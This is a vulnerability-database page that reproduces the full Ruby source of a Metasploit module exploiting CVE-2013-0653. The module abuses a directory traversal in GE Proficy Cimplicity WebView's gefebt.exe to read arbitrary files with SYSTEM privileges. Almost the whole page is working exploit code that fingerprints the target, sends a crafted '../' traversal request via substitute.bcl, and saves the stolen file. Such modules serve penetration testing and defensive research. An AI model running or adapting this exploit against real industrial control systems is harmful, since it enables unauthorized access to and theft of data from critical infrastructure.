Lucene search
K

GE Proficy Cimplicity WebView Substitute.bcl Directory Traversal

🗓️ 31 Aug 2024 00:00:00Reported by juan vazquez, temp66, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 125 Views

GE Proficy Cimplicity WebView Substitute.bcl Directory Traversal modul

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-0653
29 May 201815:50
circl
Check Point Advisories
GE Intelligent Platforms Proficy SCADA Substitute.bcl Directory Traversal (CVE-2013-0653)
4 Nov 201300:00
checkpoint_advisories
CVE
CVE-2013-0653
27 Jan 201318:00
cve
Cvelist
CVE-2013-0653
27 Jan 201318:00
cvelist
EUVD
EUVD-2013-0664
27 Jan 201318:00
euvd
ICS
GE Intelligent Platforms Proficy Cimplicity Multiple Vulnerabilities
26 Oct 201306:00
ics
Metasploit
GE Proficy Cimplicity WebView substitute.bcl Directory Traversal
6 Sep 201317:42
metasploit
NVD
CVE-2013-0653
27 Jan 201318:55
nvd
OpenVAS
GE Intelligent Platforms Proficy Cimplicity Multiple Vulnerabilities
11 Sep 201300:00
openvas
Packet Storm
GE Proficy Cimplicity 7.5 Directory Traversal
14 Mar 202500:00
packetstorm
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'uri'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',  
'Description' => %q{  
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the  
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM  
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.  
},  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-0653' ],  
[ 'OSVDB', '89490' ],  
[ 'BID', '57505' ],  
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]  
],  
'DisclosureDate' => '2013-01-22'))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),  
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),  
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb  
OptInt.new('DEPTH', [true, 'Traversal depth', 5])  
])  
end  
  
def normalize_uri(*strs)  
new_str = strs * "/"  
  
new_str = new_str.gsub!("//", "/") while new_str.index("//")  
  
# Makes sure there's a starting slash  
unless new_str[0,1] == '/'  
new_str = '/' + new_str  
end  
  
new_str  
end  
  
def target_uri  
begin  
# In case TARGETURI is empty, at least we default to '/'  
u = datastore['TARGETURI']  
u = "/" if u.nil? or u.empty?  
URI(u)  
rescue ::URI::InvalidURIError  
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"  
raise Msf::OptionValidateError.new(['TARGETURI'])  
end  
end  
  
def my_basename(filename)  
return ::File.basename(filename.gsub(/\\/, "/"))  
end  
  
def is_proficy?  
connect  
req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"  
sock.put(req)  
res = sock.get_once  
disconnect  
  
if res and res =~ /gefebt\.exe/  
return true  
else  
return false  
end  
end  
  
# We can't use the http client msf mixin because the Proficy Web server  
# return a malformed HTTP response with the file contents, there aren't  
# two new lines (but one) between the HTTP headers and the body content.  
def read_file(file)  
travs = ""  
travs << "../" * datastore['DEPTH']  
travs << file  
  
print_status("#{@peer} - Retrieving file contents...")  
  
connect  
req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"  
sock.put(req)  
res = sock.get_once  
disconnect  
  
if res and res =~ /HTTP\/1\.0 200 OK/  
return res  
else  
return nil  
end  
  
end  
  
def run  
@peer = "#{rhost}:#{rport}"  
  
print_status("#{@peer} - Checking if it's a GE Proficy Application...")  
if is_proficy?  
print_good("#{@peer} - Check successful")  
else  
print_error("#{@peer} - GE proficy not found")  
return  
end  
  
contents = read_file(datastore['FILEPATH'])  
if contents.nil?  
print_error("#{@peer} - File not downloaded")  
return  
end  
  
file_name = my_basename(datastore['FILEPATH'])  
path = store_loot(  
'ge.proficy.traversal',  
'application/octet-stream',  
rhost,  
contents,  
file_name  
)  
print_good("#{rhost}:#{rport} - File saved in: #{path}")  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation